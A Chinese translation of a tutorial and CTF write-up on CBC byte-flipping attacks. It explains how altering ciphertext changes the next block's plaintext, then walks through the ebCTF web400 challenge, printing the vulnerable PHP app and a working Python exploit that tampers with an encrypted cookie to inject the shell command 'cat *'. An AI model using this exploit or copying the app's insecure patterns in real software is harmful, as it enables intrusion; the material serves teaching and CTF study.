CBC字节翻转攻击-101Approach

◆0 译者前言



本文翻译自：http://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/

drops里的相关主题文章：使用CBC比特反转攻击绕过加密的会话令牌

缘起是糖果出的一道题，看到原文作者对这一问题阐述的较为详细，虽然时间有些久远，但翻译一下可与诸君学习一下思考问题的方法。

◆1 相关介绍



此攻击方法的精髓在于：通过损坏密文字节来改变明文字节。（注：借助CBC内部的模式）借由此可以绕过过滤器，或者改变用户权限提升至管理员，又或者改变应用程序预期明文以尽猥琐之事。

首先让我们看看CBC是如何工作的，（作者很懒所以）更多细节你可以看这里：wiki

在这里只是解释一下关于攻击必须要理解的部分。（即：一图胜千言）

加密过程

图片：2015081408372937392.png

Plaintext：待加密的数据。

IV：用于随机化加密的比特块，保证即使对相同明文多次加密，也可以得到不同的密文。

Key：被一些如AES的对称加密算法使用。

Ciphertext：加密后的数据。

在这里重要的一点是，CBC工作于一个固定长度的比特组，将其称之为块。在本文中，我们将使用包含16字节的块。

因为作者讨厌高数（和译者一样），所以作者造了一些自己的公式（方便记忆）：

[*]Ciphertext-0 = Encrypt(Plaintext XOR IV)—只用于第一个组块
[*]Ciphertext-N= Encrypt(Plaintext XOR Ciphertext-N-1)—用于第二及剩下的组块

注意：正如你所见，前一块的密文用来产生后一块的密文。

Decryption Process

图片：2015081408372937392.png

[*]Plaintext-0 = Decrypt(Ciphertext) XOR IV—只用于第一个组块
[*]Plaintext-N= Decrypt(Ciphertext) XOR Ciphertext-N-1—用于第二及剩下的组块

注意：Ciphertext-N-1（密文-N-1）是用来产生下一块明文；这就是字节翻转攻击开始发挥作用的地方。如果我们改变Ciphertext-N-1（密文-N-1）的一个字节，然后与下一个解密后的组块异或，我们就可以得到一个不同的明文了！You got it?别担心，下面我们将看到一个详细的例子。与此同时，下面的这张图也可以很好地说明这种攻击：

图片：2015081408372937392.png

◆2 一个例子（CBC Blocks of 16 bytes）



比方说，我们有这样的明文序列：

a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}

我们的目标是将“s:6”当中的数字6转换成数字“7”。我们需要做的第一件事就是把明文分成16个字节的块：

[*]Block 1:a:2:{s:4:"name";
[*]Block 2:s:6:"sdsdsd";s:8
[*]Block 3::"greeting";s:20
[*]Block 4::"echo 'Hello sd
[*]Block 5:sdsd!'";}

因此，我们的目标字符位于块2，这意味着我们需要改变块1的密文来改变第二块的明文。

有一条经验法则是（注：结合上面的说明图可以得到），你在密文中改变的字节，只会影响到在下一明文当中，具有相同偏移量的字节。所以我们目标的偏移量是2：

[*][0] = s
[*]1 = :
[*]2 =6

因此我们要改变在第一个密文块当中，偏移量是2的字节。正如你在下面的代码当中看到的，在第2行我们得到了整个数据的密文，然后在第3行中，我们改变块1中偏移量为2的字节，最后我们再调用解密函数。

[*]$v = "a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}";
[*]$enc = @encrypt($v);
[*]$enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
[*]$b = @decrypt($enc);

运行这段代码后，我们可以将数字6变为7：

图片：2015081408372937392.png

但是我们在第3行中，是如何改变字节成为我们想要的值呢？

基于上述的解密过程，我们知道有，A = Decrypt(Ciphertext)与B = Ciphertext-N-1异或后最终得到C = 6。等价于：

C = A XOR B

所以，我们唯一不知道的值就是A（注：对于B，C来说）（block cipher decryption）;借由XOR，我们可以很轻易地得到A的值：

A = B XOR C

最后，A XOR B XOR C等于0。有了这个公式，我们可以在XOR运算的末尾处设置我们自己的值，就像这样：

A XOR B XOR C XOR "7"会在块2的明文当中，偏移量为2的字节处得到7。

下面是相关原理实现的PHP源代码：

#!php
define('MY_AES_KEY', "abcdef0123456789");
function aes($data, $encrypt) { $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, ''); $iv = "1234567891234567"; mcrypt_generic_init($aes, MY_AES_KEY, $iv); return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);
}
define('MY_MAC_LEN', 40);
function encrypt($data) { return aes($data, true);
}
function decrypt($data) { $data = rtrim(aes($data, false), ""); return $data;
}
$v = "a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}";
echo "Plaintext before attack: $vn";
$b = array();
$enc = array();
$enc = @encrypt($v);
$enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
$b = @decrypt($enc);
echo "Plaintext AFTER attack : $bn";

◆3 一个练习



光说不练假把式，接下来作者举了一个他参加过的CTF中的一道题目的例子（更多详情可以参阅最后的相关参考链接），然后阐述了他是怎样在最后几步中打破CBC的。

下面提供了这个练习当中很重要的一部分源码：

图片：2015081408372937392.png

其中，你在POST提交参数"name"的任何文本值之后，应用程序则会对应输出"Hello"加上最后提交的文本。但是有两件事情发生在消息打印之前：

[*]POST参数"name"值被PHP函数escapeshellarg()过滤（转换单引号，防止恶意命令注入），然后将其存储在Array->greeting当中，最后加密该值来产生cookie。
[*]Array->greeting当中的内容被PHP函数passthru()执行。
[*]最后，在页面被访问的任何时间中，如果cookie已经存在，它会被解密，它的内容会通过passthru()函数执行。如前节所述，在这里CBC攻击会给我们一个不同的明文。

然后作者构造了一个POST"name"的值来注入字符串：

name = 'X' + ';cat *;#a'

首先作者添加了一个字符"X"，通过CBC翻转攻击将其替换成一个单引号，然后;cat *;命令将被执行，最后的#是用来注释，确保函数escapeshellarg()插入的单引号不会引起其他问题；因此我们的命令就被成功执行啦。

在计算好之前的密码块中，要被改变的字节的确切偏移量（51）后，作者通过下面的代码来注入单引号：

pos = 51;
val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
exploit = cookie[0:pos] + val + cookie[pos + 1:]

然后作者通过改变cookie（因为其具有全部的密文），得到以下结果：

图片：2015081408372937392.png

首先，因为我们改变了第一块，所以在第二块中，黄色标记的"X"被成功替换为单引号，它被认为是多余插入（绿色），导致在unserialize()处理数据时产生一个错误（红色），因此应用程序甚至都没有去尝试执行注入了。

如何完善

我们需要使我们的注入数据有效，那么我们在第一块中得到的额外数据，就不能在反序列化的过程中造成任何问题（unserialize()）。一种方法是在我们的恶意命令中填充字母字符。因此我们尝试在注入字符串前后填充多个'z'：

name = 'z'*17 + 'X' + ';cat *;#' + 'z'*16

在发送上述字符串后，unserialize()并没有报错，并且我们的shell命令成功执行！！！

◆4 相关参考

[*]CRYPTO #2: http://blog.gdssecurity.com/labs/tag/crypto
[*]http://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/
[*]http://hardc0de.ru/2013/08/04/ebctf-web400/

◆5 附录代码



下面是上面练习当中的PHP源码及exp：

PHP code:

#!php
ini_set('display_errors',1);
error_reporting(E_ALL);
define('MY_AES_KEY', "abcdef0123456789");
define('MY_HMAC_KEY',"1234567890123456" );
#define("FLAG","CENSORED");
function aes($data, $encrypt) {
$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes), MCRYPT_RAND);
$iv = "1234567891234567";
mcrypt_generic_init($aes, MY_AES_KEY, $iv);
return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);
}
define('MY_MAC_LEN', 40);
function hmac($data) {
return hash_hmac('sha1', data, MY_HMAC_KEY);
}
function encrypt($data) {
return aes($data . hmac($data), true);
}
function decrypt($data) {
$data = rtrim(aes($data, false), "");
$mac = substr($data, -MY_MAC_LEN);
$data = substr($data, 0, -MY_MAC_LEN);
return hmac($data) === $mac ? $data : null;
}
$settings = array();
if (@$_COOKIE['settings']) {
echo @decrypt(base64_decode($_COOKIE['settings']));
$settings = unserialize(@decrypt(base64_decode($_COOKIE['settings'])));
}
if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) {
$settings = array(
'name' => $_POST['name'],
'greeting' => ('echo ' . escapeshellarg("Hello {$_POST['name']}!")),
);
setcookie('settings', base64_encode(@encrypt(serialize($settings))));
#setcookie('settings', serialize($settings));
}
$d = array();
if (@$settings['greeting']) {
passthru($settings['greeting']);
else {
echo "

n";
echo "
What is your name?
n";
echo "n";
echo "n";
echo "

n";
}
?>

Exploit:

#!python
#!/usr/bin/python
import requests
import sys
import urllib
from base64 import b64decode as dec
from base64 import b64encode as enc
url = 'http://192.168.184.133/ebctf/mine.php'
def Test(x): t = "echo 'Hello %s!'" % x s = 'a:2:{s:4:"name";s:%s:"%s";s:8:"greeting";s:%s:"%s";}%s' % (len(x),x,len(t),t, 'X'*40) for i in xrange(0,len(s),16): print s[i:i+16] print 'n'
def Pwn(s): global url s = urllib.quote_plus(enc(s)) req = requests.get(url, cookies = {'settings' : s}).content # if req.find('works') != -1: print req # else: # print '[-] FAIL'
def GetCookie(name): global url d = { 'name':name, 'submit':'Submit' } h = requests.post(url, data = d, headers = {'Content-Type' : 'application/x-www-form-urlencoded'}).headers if h.has_key('set-cookie'): h = dec(urllib.unquote_plus(h['set-cookie'][9:])) #h = urllib.unquote_plus(h['set-cookie'][9:]) #print h return h else: print '[-] ERROR' sys.exit(0)
#a:2:{s:4:"name";s:10:"X;cat *;#a";s:8:"greeting";s:24:"echo 'Hello X;cat *;#a!'";}
#a:2:{s:4:"name";
#s:10:"X;cat *;#a
#";s:8:"greeting"
#;s:24:"echo 'Hel
#lo X;cat *;#a!'"
#;}
#a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";}
#a:2:{s:4:"name";
#s:42:"zzzzzzzzzz
#zzzzzzzX;cat *;#
#zzzzzzzzzzzzzzzz
#";s:8:"greeting"
#;s:56:"echo 'Hel
#lo zzzzzzzzzzzzz
#zzzzX;cat *;#zzz
#zzzzzzzzzzzzz!'"
#;}
#exploit = 'X' + ';cat *;#a' #Test case first, unsuccess
exploit = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 # Test Success
#exploit = "______________________________________________________; cat *;#"
#Test(exploit)
cookie = GetCookie(exploit)
pos = 100; #test case success
#pos = 51; #test case first, unsuccess
val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
exploit = cookie[0:pos] + val + cookie[pos + 1:]
Pwn(exploit)